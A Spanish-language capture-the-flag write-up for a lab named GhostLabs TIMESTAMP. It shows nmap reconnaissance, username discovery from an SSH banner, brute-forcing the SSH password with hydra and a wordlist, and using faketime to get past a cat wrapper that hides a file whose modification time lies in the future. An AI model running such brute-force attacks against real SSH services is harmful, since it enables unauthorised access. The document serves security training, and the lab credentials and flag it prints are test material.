# GhostLabs — TIMESTAMP Write-up

**Dificultad:** Media (3 pts)
**Servicio:** SSH — puerto 2222
**Usuario:** maria / iloveyou
**Flag:** `GhostLabs{t1m3_1s_r3l4t1v3}`

---

## ¿Qué son los timestamps en Linux?

Cada archivo en Linux tiene tres timestamps asociados:

| Timestamp | Nombre | Se actualiza cuando... |
|-----------|--------|----------------------|
| `atime` | Access time | Se lee el archivo (`cat`, `less`, etc.) |
| `mtime` | Modify time | Cambia el contenido del archivo |
| `ctime` | Change time | Cambia el inode (permisos, propietario, mtime...) |

El comando `stat` muestra los tres:
```
stat flag
  File: flag
  Size: 30    Blocks: 8    IO Block: 4096   regular file
  Modify: 2030-12-31 23:59:00.000000000 +0000
```

El comando `touch -t YYYYMMDDHHMI.SS fichero` permite establecer el mtime a cualquier fecha, incluidas fechas futuras.

---

## Paso 1 — Reconocimiento

```bash
nmap -sV -p 2222 <LAB_IP>
```

Resultado esperado:
```
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian (protocol 2.0)
```

---

## Paso 2 — Enumeración del banner SSH

El servidor SSH tiene configurado un **banner pre-autenticación**. Podemos verlo conectando con cualquier usuario antes de introducir contraseña (o con nmap):

```bash
ssh guest@<LAB_IP> -p 2222
```
```
GhostLabs Timestamp Server v1.0
TEMPORAL ACCESS CONTROL ENABLED

Contact: maria (system administrator)

guest@<LAB_IP>'s password:
```

Pulsa `Ctrl+C` para salir. El banner revela el usuario del sistema: **maria**.

También visible con nmap:
```bash
nmap -p 2222 --script ssh-auth-methods <LAB_IP>
```
```
| ssh-auth-methods:
|   Authentication methods: publickey password
|_  Banner: GhostLabs Timestamp Server v1.0 ... Contact: maria
```

---

## Paso 3 — Fuerza bruta SSH

```bash
hydra -l maria -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
```

Resultado:
```
[2222][ssh] host: <LAB_IP>   login: maria   password: iloveyou
```

> ⚠️ Si ves el error "WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED", ejecuta:
> ```bash
> ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'
> ```

---

## Paso 4 — Acceso SSH

```bash
ssh maria@<LAB_IP> -p 2222
```

---

## Paso 5 — Exploración inicial

```bash
ls -la
```

```
total 24
drwxr-xr-x 2 maria maria 4096 Apr  3 2026 .
drwxr-xr-x 3 root  root  4096 Apr  3 2026 ..
-rw-r--r-- 1 root  root    30 Dec 31  2030 flag
-rw-r--r-- 1 maria maria   97 Apr  3 2026 note.txt
```

Observaciones clave:
- `flag` tiene **30 bytes** (hay contenido)
- La fecha es **Dec 31 2030** (¡futuro!)

```bash
cat flag
```
Sin salida. El archivo existe y tiene contenido pero `cat` no muestra nada.

```bash
cat note.txt
```
```
Sistema de archivos con control de acceso temporal.
Algunos archivos solo se pueden leer cuando llega su momento.

Hint: comprueba los metadatos del archivo.
```

```bash
stat flag
```
```
  File: flag
  Size: 30
  Modify: 2030-12-31 23:59:00.000000000 +0000
```

El mtime está en el futuro. El wrapper bloquea la lectura hasta que la hora del sistema supere esa fecha.

---

## Paso 6 — Manipular el tiempo con faketime

`sudo date -s` cambia el reloj del sistema de forma global. En Kali Linux, el demonio `systemd-timesyncd` lo resetea inmediatamente via NTP — antes de que el wrapper pueda leer el nuevo valor.

La solución es `faketime`: manipula el tiempo **por proceso** mediante `LD_PRELOAD`. No toca el reloj del sistema; intercepta las llamadas a `time()` y `clock_gettime()` solo para ese proceso y sus hijos. El wrapper llama a `date +%s` como subproceso — hereda el `LD_PRELOAD` — y ve la fecha falsa.

```bash
faketime "2031-01-01" cat flag
```
```
GhostLabs{t1m3_1s_r3l4t1v3}
```

---

## Paso 7 — Leer la flag

```
GhostLabs{t1m3_1s_r3l4t1v3}
```

---

## ¿Por qué funciona?

El `/bin/cat` del sistema ha sido reemplazado por un wrapper que compara el mtime del archivo con la hora actual:

```bash
mtime=$(stat -c %Y "$f")   # unix timestamp del mtime del archivo
now=$(date +%s)            # unix timestamp actual del sistema
if (( mtime > now )); then
    :  # silencio — acceso bloqueado
else
    /bin/cat.real "$f"     # lectura normal
fi
```

| Situación | mtime (unix) | now (unix) | mtime > now | Resultado |
|-----------|-------------|-----------|-------------|-----------|
| Antes de cambiar fecha | ~1924905600 | ~1775260800 | ✓ True | Sin salida |
| Después de `date -s "2031-01-01"` | ~1924905600 | ~1924992000 | ✗ False | Muestra flag |

---

## Herramientas utilizadas

| Herramienta | Uso |
|-------------|-----|
| `nmap` | Descubrir puerto SSH |
| `hydra` | Fuerza bruta de contraseña |
| `ssh` | Acceso al sistema |
| `ls -la` | Ver timestamps de archivos |
| `stat` | Ver mtime exacto |
| `faketime` | Manipular el tiempo por proceso (LD_PRELOAD) sin tocar el reloj del sistema |
| `cat` | Leer el archivo una vez desbloqueado |
